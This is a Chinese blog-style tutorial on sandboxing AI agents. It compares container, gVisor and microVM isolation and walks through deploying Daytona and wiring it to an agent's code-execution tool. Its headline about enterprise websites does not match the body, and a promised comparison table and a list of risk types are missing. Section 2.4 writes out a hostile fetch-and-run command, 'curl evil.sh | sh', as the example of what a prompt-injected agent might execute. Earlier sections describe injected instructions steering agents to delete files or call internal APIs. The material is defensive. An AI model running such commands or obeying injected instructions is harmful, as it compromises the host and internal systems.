企业官网建设流程全解析

第一次认真研究 Agent 沙箱，是因为一次凌晨两点的事故。我在跑一个自动整理文档的小 Agent，它按计划批量重命名文件，却异常勤快地把系统缓存目录也一并“整理”了。损失不算大，但这件事让我彻底想明白了一个问题：当你把一个带权限的终端交到 Agent 手里，它背后的每一次代码执行、每一次 shell 调用，本质上都是你在替一个不可完全信任的判断逻辑行使系统权限。Agent 沙箱就是为这个困境设计的答案。

这篇文章我想用一条完整脉络讲清楚三件事：Agent 沙箱的隔离原理到底是什么、主流的沙箱技术路线和厂商方案之间怎么选、以及一个可以真正落到手上的开源方案 Daytona 从部署到与 Agent 集成、再到生产环境踩坑的完整过程。内容适合两类人：一类是正在做 Agent 应用、天天为“让模型写代码再执行”这件事担惊受怕的工程师；另一类是刚接触云基础设施、想系统理解沙箱选型的读者。读完你至少能回答两个问题：你的 Agent 到底需不需要沙箱，以及如果需要，第一行命令应该敲什么。

1. Agent 为什么必须被“关起来”：一次权限外包引发的安全重构

1.1 我的那次裸奔事故：缓存目录被“整理”了

先说那次事故的完整经过。当时我做了一个批量文档处理 Agent，核心逻辑很简单：大模型根据文件名语义判断分类，然后调用一个rename_file工具移动文件。工具本身没有任何防护，直接拿着模型返回的目标路径去操作文件系统。

结果模型在解析一批扫描件时，把其中几个路径猜错了，目标目录指向了用户缓存目录。Agent 二话不说就把一堆缓存文件“归类”到了别的文件夹。整个过程没有任何拦截，因为在我的原始设计里，Agent 被当作一个“可信的自动化脚本”在使用，而它背后的大模型其实是一个“概率性的文本生成器”，它生成的每一次工具参数都值得被怀疑。

这件事让我意识到一个残酷的现状：大多数 Agent 项目的安全模型，还停留在“相信模型不会犯错”的阶段。而模型确实不会主观作恶，但它会被误导、会误解指令、会在长上下文里丢失约束。更麻烦的是，大模型应用天然要接收不可信输入——用户的自然语言、网页内容、邮件、PDF，这些都可能携带恶意指令（也就是常说的提示注入）。一旦这些指令混进上下文，Agent 就可能把“只读文件”变成“删除文件”，把“本机计算”变成“横向移动”。

1.2 沙箱要兜住的三类风险：文件、网络与系统调用

沙箱不是某一个具体技术，而是一组“限制执行环境”的手段的统称。不管底层用的是容器、虚拟机还是用户态内核，核心目标都是控制程序能碰什么。对于 Agent 场景，我认为必须盯住三个风险面。

第一类风险我亲身体会过，第二类风险同样致命。假设你给 Agent 配了一个能调用内部 API 的工具，而模型被提示注入诱导去请求http://内网地址/delete，你既拦不住也追不到。第三类风险是最高级的威胁，需要恶意代码先成功执行，再利用容器共享内核的特点发起攻击。对于面向外部用户开放的 Agent 服务，第三类风险就是生死线。

1.3 Agent 与传统程序的安全模型差异：为什么静态授权不够

传统程序的安全模型是“身份 + 权限”：给一个进程分配账号（比如www-data），它只能在权限允许范围内做事，权限是提前定好的、静态的。但 Agent 不一样，Agent 的权限是“动态生成”的——它根据大模型的输出决定下一步调什么工具、访问什么资源，而大模型的输出又受到不可信输入的影响。

这导致一个结果：你不能用静态规则来约束 Agent 的行为。你没法预先把“所有 Agent 可能需要的路径”列进白名单，因为 Agent 的行为空间本质上是个开放集合。你只能在基础设施层面设一道底线：无论 Agent 想干什么，它都只能在自己的沙箱里干。这道底线不关心模型判断是否出错，只负责把出错的影响范围控制住。

所以我把沙箱定义为“默认执行环境”，而不是“可选安全项”。就像汽车的安全带，你可以在市区低速不系它，但你没法预判哪一次撞车只是低速碰撞。

1.4 一个合格 Agent 沙箱的五个基本要求

基于上面的风险分析，我给 Agent 沙箱总结了五个基本要求，后面评估任何方案都可以拿这五条来打分：

1. 隔离：文件、网络、进程空间都要与宿主机隔离，隔离强度根据威胁模型决定；
2. 可控网络：默认拒绝出网或只能在白名单内访问，端口暴露必须是显式行为；
3. 资源配额：CPU、内存、磁盘有硬上限，防止一段失控代码拖垮整个服务；
4. 状态可恢复：任务中断后能恢复现场，这对应会话和快照能力，对长任务 Agent 尤其重要；
5. 程序化 API：沙箱的创建、销毁、执行、文件交换必须能通过代码调用，而不是靠人手动敲命令。

这五条里，最后一条是最容易被忽略的。很多团队用容器做了隔离，但创建和销毁环境要靠运维手工操作，Agent 根本没法在运行时动态获得一个环境。而 Agent 场景对沙箱的核心诉求恰恰是：每次任务都能瞬间拿到一个干净环境，跑完立刻销毁。

2. 沙箱隔离原理：合租房、门卫与独栋小院

2.1 进程级隔离：namespaces 与 cgroups 的“合租房”模型

理解沙箱原理，最直观的方式是从 Docker 这类容器技术入手。容器之所以轻量，是因为它没有自己的内核，而是和宿主机共享同一个内核，再利用内核的两个机制做隔离：namespaces 负责“看不见”，cgroups 负责“用不多”。

namespaces 让容器内的进程只能看到自己的进程列表、自己的文件系统挂载点、自己的网络栈，就像合租房里每个人都有自己的房间和钥匙，看不到别人的房间。cgroups 则限制容器能占用多少 CPU 和内存，相当于房东规定每个租户每月水电费上限。

这个模型的优势是启动快、密度高，一个宿主机上可以跑几十上百个容器。但它的短板也很明显：所有租户共用同一套“地基”——内核。只要某个租户发现了一个内核漏洞并被恶意利用，理论上就能打出合租房的围墙，看到其他租户和房东的东西。这种攻击叫作“逃逸”，是容器隔离最大的理论风险。对于跑内部工具的 Agent，这个风险可以接受；对于暴露给外部陌生人的 Agent，就得考虑更强的隔离方案。

2.2 用户态内核：gVisor 的门卫模型

gVisor 解决容器逃逸问题的思路很有意思：它不依赖内核的 namespaces 隔离，而是在用户态实现了一个“拦截层”。当沙箱内的程序发起系统调用（比如读取文件、建立 socket）时，这个调用不会直接到达宿主机内核，而是先被 gVisor 的门卫截住，由 gVisor 自己用 Go 实现的一套“虚拟内核”来模拟处理。

你可以把 gVisor 理解成合租房门口的门卫：租户（沙箱进程）想干任何事，都得先跟门卫汇报，门卫判断这件事安全了才放行，而且门卫本身不认识房东家里其他人，租户永远没法绕过门卫直接接触地基。这样即使沙箱内代码出了问题，攻击面也被限制在 gVisor 这一层，而不是整个宿主机内核。

代价是性能：每一次系统调用都多了一层翻译，特别是文件 I/O、网络收发这种高频操作，开销会比较明显。不过对于 Agent 场景，这个代价通常可以接受，因为大部分时间消耗在大模型推理上，真正在沙箱里跑代码的耗时反而是次要的。gVisor 特别适合那种“代码执行来自不可信用户、但又不希望跑一台完整虚拟机”的中间地带。

2.3 硬件虚拟化微虚机：Firecracker 的独栋小院模型

如果 gVisor 是门卫，那微虚机就是让每个租户直接住独栋小院。Firecracker 是专门为 Serverless 场景设计的轻量虚拟机管理器，它基于 KVM 硬件虚拟化，每个沙箱都运行一个精简的客户机内核，和宿主机内核彻底分开。

独栋小院模型的好处是隔离强度被拉满：即使沙箱内核本身被打穿，攻击者也只占领了这个小院，想进其他院子还得过新的关卡。过去虚拟机动辄几分钟的启动在这里被压缩到几百毫秒，内存开销也压得很低，所以才能在保留强隔离的同时维持不错的部署密度。代价是资源占用比普通容器高，每个 microVM 都要分走一小块固定内存用于客户机内核，冷启动也比纯容器慢一些。

对于“让外部用户上传代码并执行”的 Agent 平台，微虚机基本是默认答案。比如有些公开的代码执行服务就明确表示自己用的是隔离虚拟机。如果未来你的 Agent 要对外提供“运行任意代码”的能力，强烈建议直接把微虚机作为底线。

2.4 一个恶意系统调用的完整旅程

把三种模型放进同一个场景对比：假设 Agent 被提示注入诱导，执行了curl evil.sh | sh，这条命令在不同沙箱里的旅程完全不同。

• 在普通容器里，curl的系统调用先经过容器运行时，然后直达宿主机内核。命令联网、创建进程、读写文件这些操作都发生在共享内核上，恶意脚本能触达的攻击面是整个内核。
• 在gVisor沙箱里，系统调用被拦截在用户态，由 gVisor 的虚拟内核判断是否允许、如何模拟。恶意脚本看到的文件系统、网络栈都是 gVisor 伪造的视图，它无法获得宿主机内核的真实句柄。
• 在microVM里，curl跑在客户机内核之上，客户机内核通过虚拟化硬件与宿主机内核交互。恶意脚本即使攻破客户机内核，也只是一台“小院”被占领，对宿主机和其他沙箱没有直接影响。

可以看出，隔离强度从低到高依次是：普通容器 < gVisor < microVM，代价从低到高也基本是这个顺序。选择哪一档，取决于你的 Agent 要面对多不可信的输入。

2.5 隔离之外的另一半：会话、快照与资源回收

聊完隔离，还必须说另一件经常被忽略的事：沙箱不只是“把代码关起来”，还承担着“任务状态管理”的职责。真实 Agent 任务往往不是一次函数调用，而是跑上几分钟甚至几小时的长流程。如果沙箱是一次性销毁的资源，任务中断后重来一遍的代价非常高。所以成熟的 Agent 沙箱方案都提供会话概念：会话保存工作区状态，沙箱是会话里的临时执行环境。沙箱销毁后，会话还在，下次可以重新拉起一个沙箱挂载同一个工作区，继续未完成的任务。

资源回收同样重要。我见过不止一次线上事故：Agent 每次请求都新建沙箱，但异常分支没有销毁，一夜之间宿主机内存被打爆。所以后续选型时，我会额外注意一个指标：这个沙箱方案有没有提供强制的资源回收和超时销毁机制，而不仅仅是“理论上可以销毁”。

3. 主流技术路线与选型：五个方向帮你避开坑

3.1 容器路线：最普及，但默认隔离最弱

先说容器路线。Docker 和 containerd 生态成熟，Dev Container 规范又让“开发环境即代码”变成了现实。很多团队的第一版 Agent 沙箱就是“跑一个容器，装上依赖，让 Agent 在里面执行命令”。

这条路线的优点不用多说：工具链丰富、镜像生态庞大、团队里总会有人熟悉它。但它默认是共享内核的，隔离强度有限，而且 Docker 守护进程本身的权限非常大，如果管理不当，反而可能扩大攻击面。所以如果走容器路线，至少要做三件事：给容器指定只读根文件系统、用 seccomp 限制系统调用、把容器进程的用户降权。否则容器仅仅是“名义上的沙箱”，和在本机裸奔没有本质区别。

3.2 加固容器：gVisor 与 Kubernetes 的组合拳

如果既想要容器的轻量，又想要更高的隔离，可以在 Kubernetes 里给容器运行时换成 gVisor。这个组合相当于给每个 Pod 加了门卫，代码执行不再直通宿主机内核。gVisor 已经支持 containerd 和 CRI-O，接入成本比想象中低。

这个路线适合已经有 Kubernetes 基础、又需要面向半可信输入的团队。比如你的 Agent 要执行用户上传的 Python 脚本，但用户不是完全随机的外部攻击者，用 gVisor 就能获得“够用”的隔离，同时保持较高的部署密度。需要注意的是，gVisor 对系统调用的兼容性并非 100%，有些依赖底层特性的程序跑不了，需要提前做兼容性测试。

3.3 微虚机路线：Firecracker 代表的隔离天花板

微虚机路线是 Agent 沙箱里安全上限最高的一档。除了 Firecracker，还有 Kata Containers 这类把虚机和容器体验结合起来的方案。Kata 在 Docker/Kubernetes 生态里提供虚拟机级隔离，兼容性比裸 Firecracker 好，代价是资源开销更大。

这条路线的典型适用场景很清晰：公开的代码执行服务、多租户在线编程环境、任何允许陌生人运行任意代码的场景。如果你的产品形态是“用户在网上输入代码，系统替他跑”，不要犹豫，直接上微虚机。如果只是内部工具，杀鸡用牛刀反而会增加运维负担。

3.4 托管沙箱服务与公有云函数计算：省心但有锁定风险

还有一种路线是直接使用第三方托管沙箱服务或公有云的函数计算/FaaS 平台。这类服务把沙箱的创建、伸缩、安全加固全部包办，你只需要提交代码、拿结果，运维成本极低。有不少面向 Agent 场景的托管沙箱服务，底层多半也是微虚机或 gVisor，做了进一步封装。

好处是省心，坏处是两层：一是供应商锁定，沙箱的会话模型、文件系统、网络策略都跟着别人的接口走，未来迁移成本不低；二是数据合规，代码会跑到别人的基础设施上，对敏感行业这可能是硬伤。我的建议是：原型验证阶段可以大胆用托管服务，快速验证业务价值；等业务量稳定、安全要求浮出水面后，再评估是否迁移到自托管方案。

3.5 方案横评：一张表看清取舍

补充一条选型经验：不要把隔离强度当成唯一标准。我见过一个团队为了追求最强隔离选了全功能虚拟机，结果冷启动要几十秒，Agent 单次任务的大部分时间都耗在等待环境上，产品体验一塌糊涂。正确顺序是：先明确威胁模型，再根据威胁模型选隔离档位，最后用冷启动和运维成本做减法。

4. Daytona 落地教程：从部署到让 Agent 第一次“住进”沙箱

4.1 Daytona 到底是什么：沙箱技术与开发环境的交叉点

Daytona 是一个开源的、面向 Agent 场景的安全开发环境管理器。它和上面几类方案的关系是：它不重新发明隔离技术，而是把 gVisor、microVM（Firecracker 这一类）、QEMU 作为可选的沙箱后端，并在上层封装了一套完整的生命周期管理。你可以通过 REST API 或官方 SDK 动态创建沙箱、执行命令、交换文件、管理端口，所有操作都是程序化的。

它和 Docker Dev Container 最大的区别在于两点。第一，Daytona 强调“不安全的内容从不可信源进入时，平台本身就是安全边界”，所以默认就支持 gVisor 和 microVM 这类加固型沙箱，而不只是普通容器。第二，它原生以 API 为中心，会话、沙箱、文件、端口都被建模成可编程资源，正好对上 Agent 场景里“每次任务动态创建环境”的需求。对于已经决定自托管、又不想从零组装一套沙箱平台的团队，Daytona 是很值得研究的中间层。

4.2 部署：单机体验的两种最快方式

在进入实操前先说明：Daytona 迭代速度很快，接口形态在不同版本之间会有调整。下面的步骤基于我目前接触到的最新版本用法，如果你安装的版本命令有差异，以daytona --help和官方文档为准。

最简单的单机部署方式是使用官方安装脚本：

# 获取安装脚本并执行 curl -sSLf https://get.daytona.io -o get_daytona.sh bash get_daytona.sh # 验证安装 daytona --version

安装完成后启动服务端：

daytona server start # 查看服务状态 daytona server status

服务启动后，会生成本地 API 地址和 API Key。新版 CLI 提供了生成和管理 Key 的命令，你也可以在服务配置文件里找到它。整个单机体验过程不需要提前装 Docker 或 Kubernetes，Daytona 的本地运行时会自己管理沙箱进程，这对快速验证来说非常省事。如果你希望沙箱跑在已有 Docker 环境上，或者统一调度到 Kubernetes 集群，也可以在配置阶段指定对应的 target 提供者。

4.3 四个核心概念：Server、Namespace、Session 与 Sandbox

第一次用 Daytona，最容易绕晕的就是这四个概念，我花点篇幅把它们的关系理顺：

• Server：运行 Daytona 服务端的进程，对外提供 REST API，管理所有环境和资源。你可以理解成整个平台的“总控中心”。
• Namespace：Server 下面划分的逻辑隔离空间，通常按团队或项目划分。每个 Namespace 绑定一个 target（本地、Docker、SSH、Kubernetes），代表沙箱最终运行在哪类基础设施上。
• Session：一个持久化的工作会话。Session 保存工作区的状态，不随沙箱销毁而丢失。长任务 Agent 靠它实现“断点续跑”。
• Sandbox：实际执行代码的隔离环境，可以选用 gVisor、microVM 或 QEMU 后端。Sandbox 依附于 Session，销毁后释放所有资源，但 Session 里保存的文件和状态还在。

举个类比：Server 是写字楼，Namespace 是楼层，Session 是你的工位，Sandbox 是你当天临时借用的会议室。会议结束会议室会被清理，但你工位上的资料还在。

4.4 用 Python SDK 创建第一个沙箱

概念清楚了，直接上代码。先安装官方 Python SDK：

pip install daytona-sdk

然后写一个最小示例：

from daytona_sdk import Daytona, SandboxResources daytona = Daytona( server_url="http://127.0.0.1:52150", # 本机默认地址，以你实际端口为准 api_key="你的_API_Key", target="local", # 本地提供者 ) # 创建一个 microVM 沙箱：2 核 CPU、4GB 内存、10GB 磁盘 sandbox = daytona.create( resources=SandboxResources(cpu=2, memory=4, disk=10), sandbox_type="microvm", # 可选 microvm / gvisor / qemu ) # 在沙箱里执行命令 run = sandbox.exec("python3 -c 'print(1+1)'") print(run.output) # 用完立刻销毁 sandbox.destroy()

这段代码里有两件事可以展开说。第一，sandbox_type这一项就是 Daytona 的价值所在——你可以在同一套 API 下切换隔离级别，本地调试用 gvisor 省资源，生产环境换 microvm 拉高隔离。第二，destroy()必须放在所有分支的最后，哪怕是异常分支也要销毁。我在后面生产化章节会专门讲这个坑。

4.5 文件交换：安全目录与 base64 传码技巧

Agent 执行代码时，经常需要把生成的脚本传入沙箱，再把运行结果取出来。Daytona 提供了基于安全目录的文件交换能力：

# 上传本地文件到沙箱安全目录 sandbox.upload("/本地路径/task.py", "/safe_dir/task.py") # 从沙箱下载结果 sandbox.download("/safe_dir/result.json", "/本地路径/result.json")

这里要特别强调一个实操技巧：当你需要把一段大模型生成的代码传进沙箱时，不要用 shell 命令去拼接字符串，因为代码里几乎必然包含引号、换行、特殊字符，拼进命令后轻则报错，重则变成注入。我踩过这个坑之后，统一改用 base64 编码传输：

import base64 def run_user_code(code: str) -> str: sandbox = daytona.create( resources=SandboxResources(cpu=2, memory=2, disk=4), sandbox_type="gvisor", ) try: b64 = base64.b64encode(code.encode("utf-8")).decode("ascii") # 在沙箱内解码为脚本文件 sandbox.exec(f"echo {b64} | base64 -d > /safe_dir/user_code.py") result = sandbox.exec("python3 /safe_dir/user_code.py") return result.output finally: sandbox.destroy()

base64 编码后的字符串只有字母、数字和少量符号，不会跟 shell 解析器产生冲突。这个技巧看起来简单，但在实际 Agent 项目里能省掉大量“代码里有引号导致执行失败”的调试时间。

4.6 与 Agent 框架的集成：把代码执行工具指向沙箱

沙箱本身只是基础设施，真正的落地点是把它接进 Agent 的工具调用链路。下面我写一个通用的集成模式，用伪代码表示大模型接口，你可以替换成自己实际使用的大模型服务 SDK。

import json import base64 from daytona_sdk import Daytona, SandboxResources daytona = Daytona( server_url="http://127.0.0.1:52150", api_key="你的_API_Key", target="local", ) def run_user_code_tool(code: str) -> str: """工具函数：在隔离沙箱中执行模型生成的 Python 代码。""" sandbox = daytona.create( resources=SandboxResources(cpu=2, memory=2, disk=4), sandbox_type="microvm", ) try: b64 = base64.b64encode(code.encode("utf-8")).decode("ascii") sandbox.exec(f"echo {b64} | base64 -d > /safe_dir/user_code.py") return sandbox.exec("python3 /safe_dir/user_code.py").output finally: sandbox.destroy() # 工具注册信息，按你们接入的大模型函数调用接口格式写 tools = [ { "type": "function", "function": { "name": "run_user_code", "description": "在隔离沙箱中执行用户提供的 Python 代码并返回运行结果", "parameters": { "type": "object", "properties": { "code": {"type": "string", "description": "完整 Python 代码"} }, "required": ["code"] } } } ] # 伪代码：大模型对话循环 messages = [{"role": "user", "content": "请计算斐波那契数列前 20 项并直接运行验证"}] resp = llm_chat(messages=messages, tools=tools) if resp.tool_calls: for call in resp.tool_calls: if call.name == "run_user_code": args = json.loads(call.arguments) output = run_user_code_tool(args["code"]) messages.append({"role": "tool", "tool_call_id": call.id, "content": output}) messages = llm_chat(messages=messages, tools=tools)

这个集成模式的核心思想是：Agent 只负责生成代码，真正的执行权完全交给沙箱。无论模型生成的代码是去删文件、连内网还是挖矿，它的活动范围都被限制在一个一次性环境里。模型判断的是业务逻辑，沙箱守护的是安全边界，两者各司其职。

4.7 端口与网络控制：让沙箱里的服务“可被访问但不可被滥用”

Agent 任务里还有一类常见需求：沙箱内起了一个 Web 服务，外部的 Agent 主流程需要访问它。Daytona 把端口访问分成私有和公开两种模式。私有模式下端口只允许在沙箱会话内部访问，适合内部调试；公开模式会把端口暴露到外部网络，适合需要把沙箱里的服务给用户直接看。

我的建议是默认全走私有模式，只有明确需要对外展示时才临时把某个端口转成公开，用完之后立刻撤销。如果你仔细看过前面 1.2 节写的“网络风险面”，就会明白这一步为什么重要：一个不留神，沙箱里的服务就可能变成攻击者向内网渗透的跳板。沙箱的本质是限制边界，但如果端口策略失守，边界就等于被自己凿开了一个洞。

5. 生产化与踩坑记录：从 Demo 到业务的最后一百米

5.1 性能开销先量化清楚：冷启动、镜像体积与资源配额

跑通 Demo 之后，所有人都会问同一个问题：沙箱到底带来多少额外开销？我不会给你一个精确数字，因为不同机器、不同后端、不同镜像差异太大。但有几个规律是通用的。

冷启动方面，普通容器最快，gVisor 次之，microVM 相对最慢，但也都控制在百毫秒到秒级。真正影响体验的往往不是沙箱引擎本身，而是镜像准备：如果你每次创建沙箱都要从远程仓库拉一个几个 GB 的镜像，冷启动时间会直线上升。解决办法和容器一样，提前把常用镜像缓存到本地或私有镜像仓库，并对镜像体积做持续瘦身。内存方面，microVM 因为要跑一个精简客户机内核，每个沙箱会多占用几百 MB 的固定开销，密度上要留出余量。

我的工作是给每个沙箱设三层配额：CPU 核数上限、内存上限、磁盘上限，并且宁可设小一点，也不让沙箱无限扩张。Agent 任务大多是大模型推理为主、代码执行为辅，2 核 2G 的内存配额在绝大多数场景下绰绰有余。

5.2 我在落地中踩过的四个坑

第一代沙箱系统上线后，我陆陆续续踩了不少坑，挑四个最有代表性的记录下来。

坑一：沙箱泄漏。早期代码在正常路径里调用了destroy()，但网络超时、模型返回异常这种分支没有。结果一个压测任务创建了 200 个沙箱，只有 50 个被销毁，剩下 150 个把服务器内存吃光了。后来我定了一条铁律：所有创建沙箱的地方，必须用 try/finally 保证销毁；同时加一个兜底定时器，扫描并清掉超过存活时限的沙箱。竞态条件比 bugs 更难防，这是用真金白银换来的教训。

坑二：默认镜像缺依赖。沙箱里的镜像不可能预装所有 Python 包。Agent 生成的代码经常第一行就是import pandas，然后沙箱里根本没有。频繁让模型在沙箱里 pip install 也不是办法，既慢又不可控。后来我把业务常用依赖全部固化进自定义镜像，用 CI 在每次代码变更后自动构建并推送，沙箱创建时直接拉取，基本解决。

坑三：端口策略放太宽。初期为了调试方便，把沙箱端口默认设成了公开。结果有一次偶发的安全扫描发现，沙箱里起的服务可以被外部网络直接访问到，虽然没有发生实际事故，但被吓得不轻。从那以后，默认端口一律私有，公开端口必须显式申请并记录审计日志。

坑四：API Key 硬编码。这个坑算是老生常谈，但确实很常见。有人为了快速跑通，把 API Key 写死在代码里，还提交到了仓库。好在发现及时，没有造成泄露，但更换 Key 的流程折腾了整整一天。现在所有凭据都走环境变量或密钥管理服务，代码仓库里不允许出现任何明文 Key。

5.3 最小落地产物 Checklist

最后给一份我自己的最小落地清单，照着检查一遍，你的 Agent 沙箱就能从“能跑”进入“能扛得住线上”的状态：

• [ ] API Key 统一管理：环境变量或密钥服务注入，不进代码仓库，定期轮换
• [ ] 沙箱生命周期兜底：try/finally 销毁 + 定时扫描清除超时沙箱
• [ ] 私有镜像仓库：常用依赖固化进镜像，CI 自动构建，避免运行时安装
• [ ] 端口默认私有：公开端口显式申请、用完即撤、留审计日志
• [ ] 资源配额设三档：CPU、内存、磁盘都有硬上限，防止失控任务拖垮宿主机
• [ ] 网络出口默认拒绝：需要时按白名单放开，禁止沙箱直接访问内网敏感服务
• [ ] 日志与审计：记录每次沙箱创建销毁、命令执行的完整链路，便于事后追溯
• [ ] 会话清理策略：长任务的会话设置空闲超时，避免永远占用状态存储

最后再分享一点个人体会。做了几次沙箱落地之后，我发现真正的难点从来不是技术选型，而是团队能不能把“沙箱是默认执行环境”这个原则贯彻到底。技术方案再强，如果业务代码里遇到特殊路径就绕过沙箱直接执行，那一切安全设计都等于零。沙箱应该像代码审查一样，成为不可跳过的一道工序，而不是一个“看情况用”的可选项。希望这篇从原理到落地的梳理，能帮你少走一点我走过的弯路。